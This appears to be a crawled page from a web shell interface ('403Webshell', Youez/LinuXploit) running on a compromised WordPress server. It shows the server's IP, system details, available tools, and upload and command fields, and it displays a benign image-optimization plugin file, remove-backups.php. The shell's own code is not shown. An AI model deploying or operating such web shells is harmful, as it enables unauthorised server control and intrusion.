403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pia/wp-content/plugins/image-optimization/modules/backups/rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/pia/wp-content/plugins/image-optimization/modules/backups/rest/remove-backups.php
<?php

namespace ImageOptimization\Modules\Backups\Rest;

use ImageOptimization\Modules\Backups\Classes\{
	Route_Base,
	Remove_All_Backups,
};
use Throwable;
use WP_REST_Request;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Remove_Backups extends Route_Base {
	const NONCE_NAME = 'image-optimization-remove-backups';

	protected string $path = '';

	public function get_name(): string {
		return 'remove-backups';
	}

	public function get_methods(): array {
		return [ 'DELETE' ];
	}

	public function DELETE( WP_REST_Request $request ) {
		$this->verify_nonce_and_capability(
			$request->get_param( self::NONCE_NAME ),
			self::NONCE_NAME
		);

		try {
			Remove_All_Backups::find_and_schedule_removing();

			return $this->respond_success_json();
		} catch ( Throwable $t ) {
			return $this->respond_error_json([
				'message' => $t->getMessage(),
				'code' => 'internal_server_error',
			]);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit